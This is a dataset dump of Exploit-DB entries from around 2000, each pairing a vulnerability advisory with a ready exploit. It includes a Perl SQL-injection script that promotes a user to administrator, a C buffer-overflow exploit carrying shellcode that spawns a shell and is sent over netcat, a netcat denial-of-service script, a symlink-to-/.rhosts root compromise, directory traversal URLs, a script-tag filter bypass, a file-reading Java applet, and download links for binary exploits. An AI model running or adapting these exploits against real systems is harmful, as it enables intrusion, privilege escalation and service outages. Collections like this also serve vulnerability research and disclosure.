QLWD/code_shield huggingface dataset:
标题: Novell BorderManager 3.0/3.5 Audit Trail Proxy - Denial of Service EDB-ID: 19746 CVE: 2000-0152 类型: DOS 平台: NOVELL 发布日期: 2000-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/976/info

A feature called the CS Audit Trail Proxy is installed by default with BorederManager 3.0 and 3.5 .This feature opens a listening port at port 2000, on both the internal and external interfaces. If a connection is made to this port and the 'enter' key hit a few times, the server will start experincing memory allocation problems. Eventually the server will have to be rebooted to restore normal functionality.

The CS Audit Trail Proxy is handled by CSATPRX.NLM

telnet target:2000
<enter>
<enter> URL: https://www.exploit-db.com/exploits/19746
标题: True North Software Internet Anywhere Mail Server 3.1.3 - RETR Denial of Service EDB-ID: 19748 CVE: 2000-0139 类型: DOS 平台: WINDOWS 发布日期: 2000-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/982/info


Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server. 

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <184.4675258510890593303@someco.com>
user username
+OK valid
pass password
+OK Authorized
RETR 11111111111 URL: https://www.exploit-db.com/exploits/19748
标题: Cat Soft Serv-U FTP Server 2.5/a/b (Windows 95/98/2000/NT 4.0) - Shortcut EDB-ID: 19743 CVE: 2000-0129 类型: REMOTE 平台: WINDOWS 发布日期: 2000-02-04 漏洞利用脚本: Cat Soft Serv-U 2.5/a/b,Windows 2000 Advanced Server/2000 Datacenter Server/2000 Professional/2000 Server/2000 Terminal Services/95/98/NT 4.0/NT Enterprise Server 4.0/NT Server 4.0/NT Terminal Server 4.0/NT Workstation 4.0 Shortcut Vulnerability

source: https://www.securityfocus.com/bid/970/info

The Windows API that handles shortcut navigation is susceptible to buffer overflow attacks. The API, "SHGetPathFromIDList" will parse a shortcut file (.lnk) to find the target file, directory or URL. A specifically malformed link will cause any program using the API to follow that shortcut to crash.

NOTE: While this vulnerability listing, as well as the exploit and the original USSR advisory only mention Serv-U FTP server, any Windows, Microsoft, or 3rd party program that uses the API could be vulnerable to this.

dserv2.5b.exe:
Executable exploit for Serv-U FTP server

dserv25b.zip:
Source code for above exploit

link.bro:
Example of a malformed shortcut file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-2.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19743-3.bro URL: https://www.exploit-db.com/exploits/19743
标题: Microsoft Windows 95/98/NT 4.0 - 'autorun.inf' Code Execution EDB-ID: 19754 CVE: 2000-0155 类型: LOCAL 平台: WINDOWS 发布日期: 2000-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/993/info

The Windows Autorun feature was designed to allow an executable and an icon to be specified for any piece of removable media. Upon insertion, the icon would be displayed for the drive, and the executable would automatically run. This feature also applies to fixed and networked drives however, making it much easier to abuse. Any user with write access to the root of a logical drive can install an executable and specify it in an autorun.inf file. Anytime that drive is accessed later, the code will run with the privileges of the currently logged in user. This could be used in privilege escalation attacks. 

As a test, make an autorun.inf file in C:\ with the following contents:
[autorun]
open=<path>notepad.exe

If your system is vulnerable, 'opening' C: should result in notepad strating up. Also, if you right-click on C: you should the Autoplay option in the drop-down menu.

The following exploit has been provided by Nelson Brito <nelson@secunet.com.br>:Step by Step:

1 - find a admin's mount point(a.k.a. home directory);
2 - place the autorun.inf and autorun2.exe on there;
3 - drop the admin's connection(use your prefered DoS tool);
4 - try to connect as user nelson and password nelson;
5 - BINDO, you are now a member of "Administrators" group(Stand Alone
Servers) or
"Domain Admins" gourp(PDC Servers). URL: https://www.exploit-db.com/exploits/19754
标题: Netopia Timbuktu Pro Remote Control 2.0/5.2.1 - Denial of Service EDB-ID: 19750 CVE: 2000-0142 类型: DOS 平台: MULTIPLE 发布日期: 2000-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/984/info

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted. 

#!/bin/sh

##########################################
# eth0 is a member of b0f/buffer0verfl0w security  #
#
http://b0f.freebsd.lublin.pl
#
#########################################

# *Needs netcat in order to work......*
# Immune systems:
# Timbuktu Pro 2000
#
# Vulnerable systems:
# Timbuktu Pro 2.0b650 (Also incorrectly known as Timbukto)
#
# Exploit:
#  - Connect and disconnect to port TCP/407 and port TCP/1417 will start

# listening.
#  - Connect on port TCP/1417 (using a simple telnet client).
#  - Disconnect from TCP/1417 (with no data exchange).
#
# Workaround:
# - Kill Timbuktu process (using pslist/pskill for example).
# - Stop Timbuktu services.
# - Start them again.


echo "Exploit:"
echo " - Connect and disconnect to port TCP/407 and port TCP/1417 will
start listening."
echo " - Connect on port TCP/1417 (using a simple telnet client)."
echo " - Disconnect from TCP/1417 (with no data exchange)."
echo "Coded: eth0 from buffer0vefl0w security (b0f)"
echo "[http://b0f.freebsd.lublin.pl]"

echo "Checking if host is actually listening on port 407"
telnet $1 407 1>.timb.tmp 2>.timb.tmp &
echo "Sleeping 5 seconds..."
sleep 5
killall -9 telnet 1>/dev/null 2>/dev/null
cat .timb.tmp | grep "Connected" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 timb="1"
echo "[$1] is listening on port 407..."
echo "Exploiting:..."
nc $1 1417 1>/dev/null 2>/dev/null
sleep 3
killall -9 nc 1>/dev/null 2>/dev/null
echo "Done!!"
fi
if [ "$timb" != "1" ]; then
 echo "[$1] Is not listening on port 407 = doesn't exist..."
fi

# http://b0f.freebsd.lublin.pl # URL: https://www.exploit-db.com/exploits/19750
标题: Novell Groupwise Enhancement Pack 5.5 Enhancement Pack - Denial of Service EDB-ID: 19744 CVE: 2000-0146 类型: DOS 平台: NOVELL 发布日期: 2000-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/972/info

By requesting a long URL from a Novell Groupwise 5.5 webserver with the Enhancement Pack installed, it is possible to cause the server to abend, the Java.nlm to take up all available CPU resource, or to stop the post office service. The server will need to be rebooted to restore normal operation.


http ://target/servlet/long string of 200+ characters URL: https://www.exploit-db.com/exploits/19744
标题: Wired Community Software WWWThreads 5.0 - SQL Command Input EDB-ID: 19741 CVE: 2000-0125 类型: REMOTE 平台: CGI 发布日期: 2000-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/967/info


WWWThreads is a web bulletin board program that uses an SQL backend. Due to incomplete input validation, it is possible for an attacker to submit SQL commands through forms and manipulate the contents of the database to gain administrator privileges over the database.

There are various ways for a program to ensure that all entries into data fields are interpreted as data and not SQL commands. WWWThreads uses the quote() function to do this on string values, but fails to verify numeric values in a similar manner. Therefore, SQL commands can be passed to WWWThreads via any numeric argument. These commands can be used to update the status of any user to Administrator and change their security level to '100' (the same level as the Administrator). 

#!/usr/bin/perl
# wwwthreads hack by rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="localhost";

$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";

#####################################################

$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";

$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";

print sendraw($tosend);

sub sendraw {
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }} URL: https://www.exploit-db.com/exploits/19741
标题: Microsoft IIS 3.0/4.0 / Microsoft Index Server 2.0 - Directory Traversal (MS00-006) EDB-ID: 19742 CVE: 2000-0126 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/968/info

A vulnerability in idq.dll can allow an attacker to gain read access to any file on the same logical drive as the web server virtual root. The attacker has to know the physical path and filename of the requested file, and the ACL for the file must specify read access for either the anonymous user or the Everyone or Guest group.

idq.dll will follow the '../' string in the specification of a template file. Any file can be specified as the template file. Although some IDQ files append the '.htx' extension to the user's input, it is possible to circumvent this by appending several spaces to the end of the requested filename, eg: 'desiredfile.txt%20%20%20...%20%20.htx'. What this will do is provide the '.htx' so the system thinks it is a valid template file, but when it retrieves the file the '.htx' string is pushed out of the buffer, the spaces are ignored, and the desired file is returned.

The webhits.dll patch (Microsoft Security Bulletin MS00-006, at http://www.securityfocus.com/templates/advisory.html?id=2060, and Bugtraq ID 950, at https://www.securityfocus.com/bid/950)may in some cases affect the nature of this vulnerability. If this patch has been applied, IDQ files will only be vulnerable if they do not append the .htx extension. 

http ://target/query.idq?CiTemplate=../../../somefile.ext URL: https://www.exploit-db.com/exploits/19742
标题: Debian 2.1 - apcd Symlink EDB-ID: 19735 CVE: 2000-0107 类型: LOCAL 平台: LINUX 发布日期: 2000-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/958/info

A vulnerability exists in the apcd package, as shipped in Debian GNU/Linux 2.1. By sending the apcd process a SIGUSR1, a file will be created in /tmp called upsstat. This file contains information about the status of the APC device. This file is not opened securely, however, and it is possible for an attacker to create a symlink with this name to another place on the file system. This could, in turn, lead to a compromise of the root account.

apcd is used to monitor information from APC uninterruptable power supplies. The ups will inform the apcd that power has been removed, and the apcd will shut down the machine. 


ln -sf /tmp/upsstat /.rhosts
(wait for SIGUSR1 to be sent)
echo + + >> /.rhosts
rsh localhost -l root URL: https://www.exploit-db.com/exploits/19735
标题: Microsoft Windows NT 4.0 - Recycle Bin Pre-created Folder EDB-ID: 19739 CVE: 2000-0121 类型: LOCAL 平台: WINDOWS 发布日期: 2000-02-01 漏洞利用脚本: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 Recycle Bin Pre-created Folder Vulnerability

source: https://www.securityfocus.com/bid/963/info


When an NT user uses the Recycle Bin for the first time on a given partition, a folder is created in the \Recycler folder on that partition with the name of the new folder set to the user's SID. When this happens, appropriate permissions are set to prevent other users from accessing files in that folder. However, if that folder does not yet exist, a local attacker can create it, set arbitrary permissions, and then later access any files deleted by the user. The files themselves will retain their original permissions, but if the attacker gives him/herself Full Access to the user's Recycler folder they can overwrite files with arbitrary content.

This vulnerability only applies to NTFS partitions, as there is no local access control on any files on a FAT partition. 

This exploit will create a range of folders in th e\Recyycler folder of the selected partition, with names based on projected SID numbers erived from the user's own SID.

Usage: RecyclerSnooper #_of_folders driveletter
Example: RecyclerSnooper 200 C 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19739.exe URL: https://www.exploit-db.com/exploits/19739
标题: Microsoft Outlook Express 5 - JavaScript Email Access EDB-ID: 19738 CVE: 2000-0653 2000-0105 类型: REMOTE 平台: WINDOWS 发布日期: 2000-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/962/info

Microsoft Outlook Express 5, and possibly other email clients that parse HTML messages, can be made to run Active Scripting that will read any new messages that arrive after the hostile code has been run. 

Example code:
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
</SCRIPT> URL: https://www.exploit-db.com/exploits/19738
标题: Check Point Software Firewall-1 3.0 Script - Tag Checking Bypass EDB-ID: 19732 CVE: 2000-0116 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/954/info

Firewall-1 includes the ability to alter script tags in HTML pages before passing them to the client's browser. This alteration invalidates the tag, rendering the script unexecutable by the browser. In version 3, this function can be bypassed by adding an extra opening angle bracket. The tag will be left unmodified, and the browser will be able to execute the contained script. Hostile script could lead to a remote compromise of the client system.

Firewall-1 version 4 will alter the tag as expected. 

<html>
<<script language="javascript">
alert("<<script> tag succesfully passed!")
</script>
Click <A HREF="/vdb/bottom.html?section=exploit&vid=954">here</A> to return to vulnerability listing.
</html> URL: https://www.exploit-db.com/exploits/19732
标题: Microsoft Virtual Machine 2000 - Series/3000 Series getSystemResource EDB-ID: 19734 CVE: 2000-0132 类型: REMOTE 平台: WINDOWS 发布日期: 2000-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/957/info

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
} URL: https://www.exploit-db.com/exploits/19734
标题: McAfee 4.0 / Network Associates for Windows NT 4.0.2/4.0.3 a / Norton AntiVirus 2000 - Recycle Bin Exclusion EDB-ID: 19733 CVE: 2000-0119 类型: LOCAL 平台: WINDOWS 发布日期: 1999-12-22 漏洞利用脚本: McAfee VirusScan 4.0,Network Associates VirusScan for Windows NT 4.0.2/4.0.3 a,Symantec Norton AntiVirus 2000 Recycle Bin Exclusion Vulnerability

source: https://www.securityfocus.com/bid/956/info

Many commercial virus scanners for Windows platforms exclude the Recycled folder on the hard drive from their scans. The Recycled folder is where Win9x operating systems keep files that have been deleted via the GUI but not purged from the Recycle Bin. Files of any nature can be manually placed in the Recycled folder. Therefore, it is possible for any user or program to put code into that folder that will never be subject to virus scans.

Although WinNT makes use of a folder called 'Recycler' for similar purposes, many virus scanners for NT still have the 'Recycled' folder listed in the exclusions.

Note that other virus scanners than those listed under the 'info' tab may be vulnerable as well. 

This exploit will install a 'decoy' executable to the desktop, and install a file (winsetup.dll) containing an eicar.com virus signature into the Recycled folder. The hostile code is originally XORed with 25 to get it past active detection, but is then restored to its regular executable state after being placed into the recycled folder.

The zip file contains the executable exploit, and source for the installer and the decoy. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19733.zip URL: https://www.exploit-db.com/exploits/19733
标题: Inter7 vpopmail (vchkpw) 3.4.11 - Local Buffer Overflow EDB-ID: 19727 CVE: 2000-0091 类型: LOCAL 平台: LINUX 发布日期: 2000-01-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/942/info


Vpopmail (vchkpw) is free GPL software package built to help manage virtual domains and non /etc/passwd email accounts on Qmail mail servers. This package is developed by Inter7 (Referenced in the 'Credit' section) and is not shipped, maintained or supported by the main Qmail distribution.

Certain versions of this software are vulnerable to a remote buffer overflow attack in the password authentication of vpopmail. 

/*
   qmail-qpop3d-vchkpw.c (v.3)
   by: K2,
      
   The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
   has big problems ;)

   gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
   ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110   

   play with the alignment to get it to A) crash B) work. 
   qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
   Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
   vpopmail-3.4.10a/vpopmail-3.4.11[b-e]

   Hi plaguez.
   prop's to Interrupt for testing with bsd, _eixon an others ;)
   cheez shell's :)
   THX goes out to STARBUCKS*!($#!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE   260
#define NOP    0x90
#ifdef SX86
#define DEFOFF 0x8047cfc
#define NOPDEF 75
#elif BSD
#define DEFOFF 0xbfbfdbbf
#define NOPDEF 81
#else
#define DEFOFF 0xbffffcd8
#define NOPDEF 81
#endif 

char *shell = 
#ifdef SX86 // Solaris IA32 shellcode, cheez
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 
#elif BSD // fBSD shellcode, mudge@l0pht.com                                 
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
#else // Linux shellcode, no idea
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh\xff";
#endif

int main(int argc, char **argv)
{
   int i=0,esp=0,offset=0,nop=NOPDEF;
   char buffer[SIZE];

   if (argc > 1) offset += strtol(argv[1], NULL, 0);
   if (argc > 2) nop += strtol(argv[2], NULL, 0);

   esp = DEFOFF;
   
   memset(buffer, NOP, SIZE);
   memcpy(buffer+nop, shell, strlen(shell));
   for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
      *((int *) &buffer[i]) = esp+offset;
   }
   
   printf("user %s\n",buffer);
   printf("pass ADMR0X&*!(#&*(!\n");

   fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset);
   return(0);
} URL: https://www.exploit-db.com/exploits/19727
标题: Microsoft Systems Management Server 2.0 - Default Permissions EDB-ID: 19728 CVE: 2000-0100 类型: LOCAL 平台: WINDOWS 发布日期: 1999-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/945/info

The default permissions applied to the directory containing the SMS Remote Control executable allow any user to replace the executable with any other executable. The new executable will run with System privileges after the next reboot.

Replace %SMS_LOCAL_DIR%\MS\SMS\CLICOMP\REMCTRL\WUSER32.EXE with a copy of wuser32.exe. After the next reboot, User Manager will run at startup with System privileges, allowing the logged-in user to add their account to arbitrary groups, including Administrators. URL: https://www.exploit-db.com/exploits/19728